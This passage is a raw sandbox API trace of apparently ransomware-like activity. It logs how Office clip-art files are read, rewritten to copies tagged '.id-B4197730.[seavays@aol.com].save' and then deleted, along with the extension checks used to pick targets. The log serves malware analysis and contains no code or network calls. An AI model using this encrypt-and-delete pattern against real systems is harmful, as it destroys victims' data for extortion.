WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0192.478] SetEndOfFile (hFile=0x51c) returned 1 [0192.478] CloseHandle (hObject=0x51c) returned 1 [0192.478] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0192.478] SetEndOfFile (hFile=0x550) returned 1 [0192.481] CloseHandle (hObject=0x550) returned 1 [0192.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0192.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 1 [0192.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0192.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0192.483] lstrlenW (lpString=".doc") returned 4 [0192.483] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.483] lstrlenW (lpString=".docx") returned 5 [0192.483] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0192.483] lstrlenW (lpString=".pdf") returned 4 [0192.483] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.483] lstrlenW (lpString=".xls") returned 4 [0192.483] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.483] lstrlenW (lpString=".xlsx") returned 5 [0192.483] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0192.484] lstrlenW (lpString=".ppt") returned 4 [0192.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0192.484] lstrlenW (lpString=".zip") returned 4 [0192.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.484] lstrlenW (lpString=".rar") returned 4 [0192.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.484] lstrlenW (lpString=".bz2") returned 4 [0192.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.484] lstrlenW (lpString=".7z") returned 3 [0192.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0192.484] lstrlenW (lpString=".dbf") returned 4 [0192.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0192.484] lstrlenW (lpString=".1cd") returned 4 [0192.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0192.484] lstrlenW (lpString=".jpg") returned 4 [0192.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.485] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=11644) returned 1 [0192.485] CloseHandle (hObject=0x550) returned 1 [0192.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 0x220 [0192.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.064] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.064] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.067] GetLastError () returned 0x0 [0193.067] ReadFile (in: hFile=0x540, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0193.069] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2d80, lpOverlapped=0x0) returned 1 [0193.071] ReadFile (in: hFile=0x540, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0193.071] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0193.072] SetEndOfFile (hFile=0x344) returned 1 [0193.072] CloseHandle (hObject=0x344) returned 1 [0193.072] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.072] SetEndOfFile (hFile=0x540) returned 1 [0193.077] CloseHandle (hObject=0x540) returned 1 [0193.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 1 [0193.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.079] lstrlenW (lpString=".doc") returned 4 [0193.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.079] lstrlenW (lpString=".docx") returned 5 [0193.079] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0193.080] lstrlenW (lpString=".pdf") returned 4 [0193.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.080] lstrlenW (lpString=".xls") returned 4 [0193.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.080] lstrlenW (lpString=".xlsx") returned 5 [0193.080] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0193.080] lstrlenW (lpString=".ppt") returned 4 [0193.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.080] lstrlenW (lpString=".zip") returned 4 [0193.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.080] lstrlenW (lpString=".rar") returned 4 [0193.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.080] lstrlenW (lpString=".bz2") returned 4 [0193.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.080] lstrlenW (lpString=".7z") returned 3 [0193.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.080] lstrlenW (lpString=".dbf") returned 4 [0193.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.080] lstrlenW (lpString=".1cd") returned 4 [0193.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.081] lstrlenW (lpString=".jpg") returned 4 [0193.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.081] lstrlenW (lpString=".doc") returned 4 [0193.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.081] lstrlenW (lpString=".docx") returned 5 [0193.081] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0193.081] lstrlenW (lpString=".pdf") returned 4 [0193.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.081] lstrlenW (lpString=".xls") returned 4 [0193.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.081] lstrlenW (lpString=".xlsx") returned 5 [0193.081] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0193.081] lstrlenW (lpString=".ppt") returned 4 [0193.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.081] lstrlenW (lpString=".zip") returned 4 [0193.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.081] lstrlenW (lpString=".rar") returned 4 [0193.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.082] lstrlenW (lpString=".bz2") returned 4 [0193.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.082] lstrlenW (lpString=".7z") returned 3 [0193.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.082] lstrlenW (lpString=".dbf") returned 4 [0193.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.082] lstrlenW (lpString=".1cd") returned 4 [0193.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0193.082] lstrlenW (lpString=".jpg") returned 4 [0193.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.083] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0193.083] lstrlenW (lpString="J0187835.WMF") returned 12 [0193.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.084] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=9344) returned 1 [0193.085] CloseHandle (hObject=0x540) returned 1 [0193.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 0x220 [0193.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0193.085] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.086] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.087] GetLastError () returned 0x0 [0193.087] ReadFile (in: hFile=0x540, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x2480, lpOverlapped=0x0) returned 1 [0193.089] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2490, lpOverlapped=0x0) returned 1 [0193.091] ReadFile (in: hFile=0x540, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0193.091] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0193.091] SetEndOfFile (hFile=0x344) returned 1 [0193.091] CloseHandle (hObject=0x344) returned 1 [0193.091] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.091] SetEndOfFile (hFile=0x540) returned 1 [0193.096] CloseHandle (hObject=0x540) returned 1 [0193.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187835.wmf")) returned 1 [0193.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.280] lstrlenW (lpString=".doc") returned 4 [0193.280] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.280] lstrlenW (lpString=".docx") returned 5 [0193.280] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0193.280] lstrlenW (lpString=".pdf") returned 4 [0193.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.281] lstrlenW (lpString=".xls") returned 4 [0193.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.281] lstrlenW (lpString=".xlsx") returned 5 [0193.281] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0193.281] lstrlenW (lpString=".ppt") returned 4 [0193.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.281] lstrlenW (lpString=".zip") returned 4 [0193.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.281] lstrlenW (lpString=".rar") returned 4 [0193.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.281] lstrlenW (lpString=".bz2") returned 4 [0193.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.281] lstrlenW (lpString=".7z") returned 3 [0193.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.281] lstrlenW (lpString=".dbf") returned 4 [0193.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.281] lstrlenW (lpString=".1cd") returned 4 [0193.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.281] lstrlenW (lpString=".jpg") returned 4 [0193.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.282] lstrlenW (lpString=".doc") returned 4 [0193.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.282] lstrlenW (lpString=".docx") returned 5 [0193.282] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0193.282] lstrlenW (lpString=".pdf") returned 4 [0193.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.282] lstrlenW (lpString=".xls") returned 4 [0193.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.282] lstrlenW (lpString=".xlsx") returned 5 [0193.282] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0193.282] lstrlenW (lpString=".ppt") returned 4 [0193.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.283] lstrlenW (lpString=".zip") returned 4 [0193.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.283] lstrlenW (lpString=".rar") returned 4 [0193.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.283] lstrlenW (lpString=".bz2") returned 4 [0193.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.283] lstrlenW (lpString=".7z") returned 3 [0193.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.283] lstrlenW (lpString=".dbf") returned 4 [0193.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.283] lstrlenW (lpString=".1cd") returned 4 [0193.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187835.WMF") returned 68 [0193.283] lstrlenW (lpString=".jpg") returned 4 [0193.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.283] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0193.283] lstrlenW (lpString="J0187851.WMF") returned 12 [0193.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0193.506] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=8732) returned 1 [0193.506] CloseHandle (hObject=0x528) returned 1 [0193.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 0x220 [0193.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0193.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0193.698] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.698] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0193.700] GetLastError () returned 0x0 [0193.700] ReadFile (in: hFile=0x544, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x221c, lpOverlapped=0x0) returned 1 [0193.701] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x2220, lpOverlapped=0x0) returned 1 [0193.703] ReadFile (in: hFile=0x544, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0193.703] WriteFile (in: hFile=0x344, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0193.703] SetEndOfFile (hFile=0x344) returned 1 [0193.703] CloseHandle (hObject=0x344) returned 1 [0193.703] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0193.703] SetEndOfFile (hFile=0x544) returned 1 [0193.706] CloseHandle (hObject=0x544) returned 1 [0193.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0193.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187851.wmf")) returned 1 [0193.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0193.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0193.709] lstrlenW (lpString=".doc") returned 4 [0193.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.709] lstrlenW (lpString=".docx") returned 5 [0193.709] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0193.709] lstrlenW (lpString=".pdf") returned 4 [0193.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.709] lstrlenW (lpString=".xls") returned 4 [0193.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.709] lstrlenW (lpString=".xlsx") returned 5 [0193.709] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0193.709] lstrlenW (lpString=".ppt") returned 4 [0193.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0193.709] lstrlenW (lpString=".zip") returned 4 [0193.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.709] lstrlenW (lpString=".rar") returned 4 [0193.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.709] lstrlenW (lpString=".bz2") returned 4 [0193.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.709] lstrlenW (lpString=".7z") returned 3 [0193.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0193.709] lstrlenW (lpString=".dbf") returned 4 [0193.709] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0193.709] lstrlenW (lpString=".1cd") returned 4 [0193.709] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187851.WMF") returned 68 [0193.709] lstrlenW (lpString=".jpg") returned 4 [0193.709] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 